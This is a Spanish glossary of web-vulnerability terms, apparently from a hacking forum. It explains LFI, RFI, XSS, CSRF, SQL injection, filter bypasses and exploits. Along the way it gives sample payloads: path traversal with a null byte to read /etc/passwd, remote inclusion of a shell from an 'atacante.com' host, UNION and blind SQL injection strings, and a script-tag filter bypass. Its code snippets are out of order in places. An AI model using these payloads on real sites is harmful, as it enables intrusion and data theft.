R: en tu explorador vas al menú buscar y pones parte o toda la palabra que desees. Recuerda poner los acentos correspondientes en el caso que sea una palabra en español.
Diccionario informático sobre Bugs y Exploits en nivel WEB V1.0
Diccionario "a prueba de" realizado para que todo ser humano que tenga por lo menos con un ojo bueno y un cerebro pueda entender cada palabra sin tener conocimientos previos relacionados con la seguridad informática.
Nota: Recordar que esto es solo un diccionario de definiciones por lo cual no se mostrarán demasiados detalles porque no es una enciclopedia ni nada por el estilo, para eso ver los enlaces relacionados de cada item.
Para mas información vease:
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_71009-t244090.0.html
Si tienes alguna sugerencia o algo que opinar sobre el diccionario puedes hacerlo desde este enlace:
http://foro.elhacker.net/nivel_web/nuevo_diccionario_de_bugs_y_exploits_en_nivel-t270629.0.html
Bug
Bug en español significa bicho y por lo general se refiere a un error de programación donde el software actúa de forma inapropiada o inesperada.
En el caso de sitios WEBs un bug se refiere a una falla en el código que no necesariamente puede ser una vulnerabilidad sino mas bién una reacción inesperada.
Ejemplos de Bugs:
- http://foro.elhacker.net/nivel_web/recopilatorio_de_vulnerabilidades_de_xsssqlinjection-t220843.0.html
- http://milw0rm.com/webapps.php
Vulnerabilidad
La palabra no tiene mayor explicación ya que queda claro que es una vulnerabilidad pero lo que si hay que dejar en claro primeramente que un bug puede ser vulnerabilidad como puede que no lo sea, también que algunos le llaman "Feature"´aunque una feature en inglés significa ventaja o característica extra del mismo sistema dando a decir que no es un bug sino que el comportamiento del sistema es normal y así fue diseñado para ventaja del programador externo, visitantes, etc, solo es vulneranilidad cuando no estaba contemplado por el programador. Esto también se aplica en Bugs.
Por lo general un programador que se le pide una explicación por una vulnerabilidad en un sistema propio dice: "this is not a bug, is a feature", aunque también lo dicen las personas que pueden sacarle provecho manualmente o con exploits (exploit no es un xploit, Vease Exploit).
Bugtraq
Lugar donde se listan bugs de sistemas informáticos. Antiguamente conocido como listas de correos pero actualmente también pueden leerse en linea sin la necesidad de una suscripción.
Ejemplos de Bugtraq:
- http://seclists.org/bugtraq/
- http://www.securityfocus.com/archive/1
- http://marc.info/?l=bugtraq&r=1&w=2&b=200003
Advisory
En español son avisos, por lo tanto si se habla de advisory en el ámbito de la informática por lo general se refiere a un comunicado o declaración de bugs.
Ejemplos de un advisories:
LFI
Conocido como "Local File Inclusion" o Inclusión de archivo local y se trata de una falla de programación donde se tiene la posibilidad de incluir archivos externos y ejecutarse. Por lo general esto sucede con lenguajes de programación WEB.
Para programadores:
Esto sucede cuando hacemos por ejemplo
Código
entonces cuando yo ejecuto test.php?sección=noticias en realidad el include queda de la siguiente forma:
<?php include('/home/web/www/'.$_GET['sección'].'.php'); ?>
Código
¿porqué es una vulnerabilidad?: porque un atacante puede hacer inclusión de un archivo de forma local como por ejemplo esta:
<?php include('/home/web/www/noticias.php'); ?>
test.php?sección=../../../../../../../etc/passwd%00
(Vease Null Bite Atack) por lo cual quedará de la siguiente forma:
Código
entonces el null bite limita el string de inclusión hasta la palabra passwd solamente haciendo incluir de forma local el archivo de passwords de sesiones del sistema (en otros puede ser SAM o shadow), en otros casos el atacante puede inyectar comandos arbitrarios dentro del log de accesos y hacerle una inclusión para su posterior ejecución comprometiendo el servidor.
<?php include('/home/web/www/../../../../../../../etc/passwd\0.php'); ?>
En otros casos la inclusión no lleva a la ejecución, en ese caso no se trata de un LFI sino de un File Disclosure (Vease file disclosure)
RFI
Es igual al LFI (Vease primeramente LFI antes de continuar) con la diferencia de que la inclusión del script puede ser de forma remota, por ejemplo:
Código
Entonces test.php?sección=votar sería:
<?php include($_GET['sección'].'.php'); ?>
Código
Pero como se trata mas bién de una vulnerabilidad devido a que un atacante puede modificar dicha variable y hacer referencia a un archivo externo como por ejemplo test.php?sección=http://www.atacante.com/shell.txt?x=
<?php include('votar.php'); ?>
por lo tanto el script quedaría:
Código
y como la petición de dicho texto está alojado en un servidor WEB la variable invalida la terminación .php. También existen algunas formas de evadir sistemas de protección donde solo restringen la palabra "http" pero desde otros protocolos también es posible incluyendo filesize() de php como lo es el protocolo "ftp" ya que php lo procesa como archivo sólido y no archivo WEB (Vease Bypass).
<?php include('http://www.atacante.com/shell.txt?x=.php'); ?>
XSS
Un XSS es una Vulnerabildad WEB llamada "Cross Site Scripting" pero entonces porqué se llama XSS y no CSS?, para no confundir CSS que significa "Cascading Style Sheets" que es un lenguaje de estilo proporcionado para html como por ejemplo "style.css" en el cual va la informacion de estilo html y xhtml.
Normalmente confundido con la palabra "Inyección HTML" debido a que se trata de incorporar un código interpretado dentro de un sitio WEB para que este se ejecute.
Por ejemplo tenemos un chat público donde podemos escribir mensajes y ver como nos pueden leer, imaginemos que podemos escribir el mensaje <h1>hola a todos</h1> entonces si los demás participantes pueden leer tu código HTML sería XSS siempre y cuando este código puede de alguna forma comprometer la seguridad del sitio o de algún usuario, si no entonces no es XSS.
Un ejemplo sería dejar código javascript para que el explorador del visitante envíe su cookie de sesión hasta un servidor externo para luego ser recuperado y hacer robo de la sesión.
XSS es una vulnerabilidad antiguamente de "baja" importancia, hoy en dia es de importancia "media" en relación a la seguridad de un sitio WEB aunque este tipo de fallas puede ocacionar nada como tabién comprometer toda una red de servidores dependiendo del sistema y los conocimientos del usuario de Administración.
También mal conocido como "Inyección HTML" ya que un XSS no siempre es generado via código HTML.
Algunos sitios WEBs guardan historiales de sitios webs con este tipo de vulnerabilidad.
Enlaces de ayuda:
- http://xssed.com/archive/author=WHK
- http://es.wikipedia.org/wiki/Cross-site_scripting
- http://noscript.net/
XSS Reflejado
(Lease primero la definición de XSS) Es un tipo de vulnerabilidad WEB XSS con la característica de que solamente se visualiza el código inyectado en e sitio web si la modificas en el momento, eso quiere decir que luego de ejecutar el xss intentas ver el mismo sitio no deberías ver el código inyectado.
Enlaces de ayuda:
XSS Persistente
(Lease primero la definición de XSS) Es un tipo de vulnerabilidad WEB XSS con la característica de que cuando haces la inyección en el código este persevera aún saliendo del sitio web, eso quiere decir que yo puedo entrar y dejar un XSS en el sitio web y cualquiera que entre podrá verla sin la necesidad de recibir un ataque indirecto o la necesidad de un tercer involucrado.
Enlaces de ayuda:
CSRF
CSRF son las siglas de la palabra Cross Site Request Forgery y es una falla de programación WEB donde se pueden ejecutar acciones de forma arbitraria.
Por ejemplo supongamos que estamos en un foro y en ese foro hay un botón para salir de tu sesión y ese botón da un enlace hacia http://foro.com/salir , entonces cualquier persona que te redirija hacia ese enlace hará que tu sesión termine de forma arbitraria ya que fue hecho sin tu consentimiento, de esta forma el atacante de ese foro puede crear un post donde tu no podrías responderle ya que al intentar hacerlo el introducirá un enlace de tipo imagen hacia http://foro.com/salir y cuando intentes responder el foro dirá que no tienes una sesión en el foro.
Este tipo de vulnerabilidad se puede solucionar agregando in identificador único a una acción, por ejemplo una serie de carácteres llamados token donde cada usuario tiene su propio token de forma oculta, entonces cuando necesites salir dirá http://foro.com/salir&token=fyr3ry78g y si el atacante no conoce ese token no podra hacer que se ejecute esa acción de forma arbitraria.
Enlaces de ayuda:
XSRF
Sinónimo de CSRF (Vease CSRF) con la diferencia de anteponer X en ves de C debido a que se atribuye la X a la palabra "Cross" y evitar la confusión que se producía con las siglas XSS (Vease XSS).
Null Bite Attack
El carácter nulo se usa en muchas ocasiones. Como el carácter nulo determina el término de un string puede ser utilizado en fallas de programación WEB, por ejemplo algunas funciones de php tales como include() puedes decirle que un string termine en carácter nulo, por ejemplo
Código
<?php include('test/archivo.php%00basuraetcetc'); ?>
Incluirá solamente hasta archivo.php ya que le corté el string en %00, ahora %00 es un carácter nulo en formato urlencode, o sea que puedo pasarlo en una petición GET o POST pero si quisiera testearlo directamente en el archivo tendría que hacer esto:
Código
<?php include('test/archivo.php'."\x00".'basuraetcetc'); ?>
Ahora, esto le puede servir a un atacante para hacer LFI (Local file inclusion).
Supongamos este caso:
Código
<?php include('secciones/'.$_GET['pagina'].'.php'); ?>
Entonces yo podría decir test.php?pagina=contacto y la inclusión quedaría
Código
<?php include('secciones/contacto.php'); ?>
Pero si le pongo un carácter nulo para que corte el string quedaría así:
test.php?archivo=../../../../../../../../../../etc/passwd%00
Código
<?php include('secciones/../../../../../../../../../../etc/passwd%00.php'); ?>
por lo tanto me devolverá el archivo de sesiones de usuarios de ese servidor.
Enlaces de ayuda:
- http://en.wikipedia.org/wiki/Null_character
- http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/
- http://www.webcomparte.com/foro/programacion-en-php/para-que-sirve-un-caracter-nulo/
- http://projects.webappsec.org/Null-Byte-Injection
Disclosure
Disclosure es español significa el "Descubrimiento" de algo, pero en el caso de una definición de seguridad WEB se traduce en el descubrimiento de datos de forma arbitraria (Vease Arbitrario), por ejemplo en PHP o JSP si un sistema WEB no tiene una buena programación puede causar que se vean cosas como estas:
Citar
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in C:\wamp\www\test.php on line 2
aunque este mensaje no nos dice mucho del sitio WEB si lo hace el escape de información ya que nos indica en que lugar está alojado el archivo, en este caso está en "c:\wampp\www\" por lo tanto un atacante podrá saber mejor como realizar un futuro ataque.
Ejemplos de Disclosure:
- http://www.vsantivirus.com/vul-phpbb206.htm
- http://www.insecurity.cl/2009/09/28/full-path-disclosure-en-la-mayoria-de-los-plugins-de-wordpress/
Enlaces de ayuda:
- http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm
- http://www.owasp.org/index.php/Full_Path_Disclosure
Path disclosure
Es el descubrimiento de uno o mas directorios debido a una falla de programación WEB (Vease Disclosure)
Full path disclosure
Cuando es Full path disclosure significa que se pueden descubrir todos los directorios del sitio WEB afectado (Vease Path Disclosure).
File disclosure
Quiere decir que se pueden descubrir los contenidos de archivos dentro del servidor WEB a diferencia del Path disclosure que solamente puede descubrir directorios (Vease Disclosure).
Inyección SQL
Yambién llamado como SQL Inyection y SQLI.
Para poder entender un poco el significado de inyección SQL primeramente debes saber por lo menos que significa SQL (Vease MySQL y MSSQL).
Generalmente una base de datos es un grupo de información guardada en un Servidor y este recibe instrucciones de lo que debe hacer y aquellas instrucciones las da el sistema WEB que en este caso es la página WEB.
Por ejemplo el sitio web WEB le dice al servidor de la base de datos:
Citar
Guarda "pedro" en el listado de nombres
Entonces cuando te creas una cuenta donde dice tu nombre puedes ponerle otras instrucciones, por ejemplo en ves de poner "pedro" le pondré "pedro y digame cual es la contraseña del administrador", entonces la consulta que le hace el servidor WEB a la base de datos es esta:
Citar
Guarda pedro y digame cual es la contraseña del administrador en el listado de nombres
Por lo tanto hacemos consultas arbitrarias.
Para programadores cuando tienes una consulta de este tipo:
Código
Yo puedo poner de nick lo que sea y en pass pongo
SELECT * FROM users WHERE USER = '$user' AND pass = '$pass'
Citar
' union select 1,2 where id_user = '1
Por lo tanto primero valido la primera query y sin romperla hago un segundo select con union escribiendo la cantidad de columnas a retornar donde el id de usuario es uno o sea por defecto en casi todos los sistemas webs "el administrador".Blind Inyección SQL
Vease primeramente "Inyección SQL".
También conocido como Inyección Ciega o Inyección a Ciegas.
Se trata de una vulnerabilidad en un sistema que puede ser WEB en el cual no ves ningún dato debuelto por dicha inyección, por lo tanto no ves tablas, columnas, nada y se hace sabiendo que se está ejecutando.
Un ejemplo práctico sería una inyección de este tipo:
Código
En este caso logramos saber la versión de la base de datos MySQL sin que nos debuelva ningún tipo de información pero si podemos ver si se ejecuta o no.
test.php?id=-1' and substring(@@versión,1,1)='4
Enlaces de ayuda:
- http://foro.elhacker.net/nivel_web/caso_01_blind_sql_inyection_con_descarga_forzada-t244378.0.html
- http://foro.elhacker.net/hacking_avanzado/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html
Inyección MSSQL Concateada
Vulnerabilidad de tipo Inyección SQL (Vease inyección SQL) que es posible llevarse a cabo devido a una falla de programación en el servidor de MS ISS (Microsoft Internet Services) la cual consiste en lo siguiente:
Citar
test.php?id=1&id=2
Normalmente en Apache esto se interpreta como una sola variable tomando como válida la última y desechando las anteriores, o sea que id vale "2" pero esto no sucede así en ISS:Citar
test.aspx?id=1&id=2
el servidor interpretará los dos valores y para enviarlos al script final concateará ambas variables, o sea que id será "1,2".Esta vulnerabilidad puede ser aprobechada para evdadir sistemas de protección concateando strings filtrados o devolviendo valores extras.
CMS
Content Management System o en español sistema de administración de contenido.
Son sistemas WEBs dinámicos capaces de gestionar diferentes tipos de contenidos de forma automatizada. Algunos de estos sistemas dinámicos pueden ser:
Simple Machines Forum, Joomla, Moodle, Wordpress, PHP-Nuke, E-107, VBulletín, IPBoard, etc.
Enlaces descriptivos:
- http://www.google.cl/search?hl=es&q=define%3Acms&btnG=Buscar+con+Google&meta=&aq=f&oq=
- http://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_contenido
Código PHP
Es un lenguaje de programación que se utiliza para construir sitios webs automatizados e interactivos.
Antiguamente era utilizado CGI como lenguaje común basado en Perl que interactúa con servidores WEB.
Hoy los lenguajes mas utilizados para sitios webs dinámicos son PHP, .NET (Framework de Microsoft), CGI/Perl y Python pero entre todos ellos el mas utilizado es PHP.
Para crear nuestri primer ejemplo en php se necesita un servidor (no el físico) y el mas utilizado es "Apache" ya que php solamente es un interprete de código que puede ser utilizado en sitios webs como también via consola directamente como interprete scripting.
Apache contiene una extensión que hace interactuar PHP con el mismo, de esta forma nosotros podemos decir http://servidor/archivo.extension?variable1=valor1 y apache interpretará esto y le enviará a PHP los valores de variables globales tales como $_GET y $_POST.
Enlaces relacionados:
- http://php.net/
- http://es.wikipedia.org/wiki/PHP
- http://tutorialphp.net/
- http://www.google.cl/search?hl=es&q=manual+php
- http://www.google.cl/search?hl=es&q=define%3Aphp
Cookies
Antiguamente malconocidos como SpyWares porque se pensaba que solo servían para espiar o robar datos de una pc.
Una cookie es donde el servidor puede guardar información de cualquier tipo en tu explorador.
Algunos sitios webs utilizan esta información para saber quien eres y poder identificarte al momento de crear una sesión.
Las cookies las establece el servidor y el explorador solamente las administra y le entrega a cada sitio las cookies que le correspondan unicamente.
Por ejemplo si yo engro a foro.elhacker.net e ingreso con mi cuenta de usuario este creará una cookie en mi explorador que almacenará mis datos de acceso, de esta forma el servidor sabrá que yo soy WHK y no un visitante cualquiera, ahora esta cookie solamente se entregará al servidor de elhacker.net pero si yo voy a google.com no mostrará esta cookie ya que cada cookie tiene su servidor y ningún servidor puede obtener la cookie de otro, esto es privacidad de datos y seguridad.
Antiguamente las cookies en Internet explorer se basaban en una cookie por archivo txt, ahora en Firefox todas las cookies se almacenan en un mismo archivo sin perder su funcionalidad ya que el mismo firefox se encarga de administrarlas.
Si quieres saber cuales son tus cookies en un sitio web ve a el y pon esto en tu barra del explorador:
javascript:alert(document.cookie);
En Firefox tienes complementos que te permiten modificar dichas cookies y probar la seguridad de tu sitio web, por ejemplo Add N Edit Cookies
https://addons.mozilla.org/es-ES/firefox/addon/573
Actualmente para Internet explorer no se conoce ninguno debido a que sus complementos son de código cerrado.
Enlaces relacionados:
Código arbitrário
O tambien "Remote Execution".
Se refiere a la frase completa: Acción sobre el código de forma arbitrária y significa que se realiza una acción como puede ser una edición, ejecución, etc. De código significa que esto se efectúa sobre el código de programación (vease programación). Arbitrario significa que puede realizarse sin el consentimiento de la persona y también sin que se de cuenta.
Cuando se dice que es de forma remota significa que un atacante o individuo puede causar esta acción desde fuera de su propia red de conexión. Un ejemplo práctico sería yo como atacante hago que ejecutes una acción en tu pc, como es a distancia es remoto, en caso contrario sería de forma local.
Enlaces relacionados:
0-Day
Conocido también como "Zero-Day" o "Dia Cero"
Vulnerabilidad descubiera por primera ves sin tener ninguna solución oficial por parte del creador del sistema afectado. Por lo general un 0-day es una vulnerabilidad descubierta y publicada en el mismo dia aunque no siempre sucede.
Enlaces relacionados:
Desface
Conocido también como "Deface" pero mal escrito.
Se le dice de esta forma al ataque hacia un sitio web el cual consiste en la modificación deliverada de información probocado por una vulnerabilidad, bug, etc. Esta modificación es permanente ya que en caso contrario es declarado simplemente un XSS (Vease "XSS").
Enlaces de ejemplos:
Desfacing
Conocido también como "Defacing" pero mal escrito.
Acción de desfacear. Vease "Desface".
Bypass
Se le dice Bypass a un método que puede eludir algún tipo de sistema de protección, por ejemplo cuando se dice "Hacer Bypass al filtro anti XSS" Significa que hubo un sistema que estaba preparado para resistir ataques de tipo XSS pero por algún motivo devido a problemas de seguridad y/o de programación pudo ser eludido haciendo cuentas como que el sistema de protección no existiera.
Ejemplos prácticos:
Sistema de protección anti-XSS dice (Vease XSS) -->
Código
El atacante hace un Bypass -->
test.php?palabra=<sc<script>ript>alert(document.cookie);</script>
El sistema de protección borra la palabra de color rojo --->
<sc<script>ript>alert(document.cookie);</script>
Queda así -->
<script>alert(document.cookie);</script>
Son formas de eludir un sistema de protección para provocar una vulnerabilidad en el sistema independiente si pueda ser aprobechado o no.
Otro ejemplo:
Sistema de protección anti-RFI (Vease RFI):
Código
El atacante dice:
<?php }else{ include($_GET['path'].'.php'); } ?>
test.php?path=ftp://atacante.com/shell.txt?x=
Entonces el sistema hace un include de esta forma:
include('http://ftp://atacante.com/shell.txt?x=.php');
Pero como include realiza las conexiones via ftp y ftp necesita de un usuario y contraseña se lo deshabilitamos o habilitamos ftp anónimo o usamos un servidor local o si conoces el protocolo ftp puedes hacerlo hasta con netcat o utilizando sockets poniendolos a escucha para el que sepa programar.
Enlaces relacionados:
- http://www.milw0rm.com/exploits/9399
- http://www.securityfocus.com/bid/9658/discuss
- http://seclists.org/bugtraq/2005/Dec/0158.html
Exploit
Muchas veces mal confundido con "Xploit".
Un Xploit es un sistema que envía correos a otras personas para robarles sus datos personales engañandolos pidiendoles su propia contraseña.
Un exploit es sun Software, Script o cualquier cosa que pueda aprovechar una vulnerabilidad de cualquier tipo de sistema para provecho de algo o alguien.
Ejemplos de Exploits:
- http://milw0rm.com/exploits/9394
- http://www.packetstormsecurity.org/0908-exploits/blazedvd-overflow.txt
PoC
Significa en ingles "Proof Of Concept" o Prueba de concepto, el cual es muy similar a un Exploit (Vease Exploit antes de continuar) pero con la diferencia que un exploit está diseñado para aprovechar las vulnerabilidades en beneficio de algo o alguien y el PoC solo demuestra que realmente se puede comprobar que la vulnerabilidad o Bug existe.
Ejemplos de PoCs:
- http://milw0rm.com/exploits/9431
- http://seclists.org/bugtraq/2009/Aug/0016.html
- http://seclists.org/bugtraq/2009/Aug/0107.html
MySQL
Sistema de base de datos de código libre y gratuito con soporte en tanto para Linux como también para MS Windows.
Es un sistema que es capaz de gestionar información almacenada de forma interna en archivos y directorios, su organización es su fuerte y puede ser utilizado en sistemas webs como en sistemas ejecutables.
Por ejemplo si tengo un sitio web de música puedo administrar el contenido de todos mis tracks ordenados por asutor, fecha, hacer busquedas, eliminar, crear, etc.
Este sistema es utilizado comunmente en el lenguaje web llamado PHP que puede servir para la administración del contenido del sitio.
Enlaces relacionados:
- http://foro.elhacker.net/php/scripts_phpmysql-t48315.0.html
- http://es.wikipedia.org/wiki/MySQL
- http://www.mysql.com/
MSSQL
Sistema de base de datos utilizado en servidores de MS Windows similar a MySQL (Vease MySQL) pero con una sintaxis de programación similar aunque no igual.
La diferencia mas notable al momento de observar un sitio web vulnerable a inyección SQL (Vease Inyección SQL) es que en MSSQL puedes ejecutar comandos directamente sobre la shell del Sistema Operativo haciendolo mas vulnerable a una intrusión por escalación de privilegios.
Enlaces relacionados:
Arbitrario
Si se dice que ocurrió una acción de forma arbitraria quiere decir que fue ejecutado sin el consentimiento de la persona que se afectó.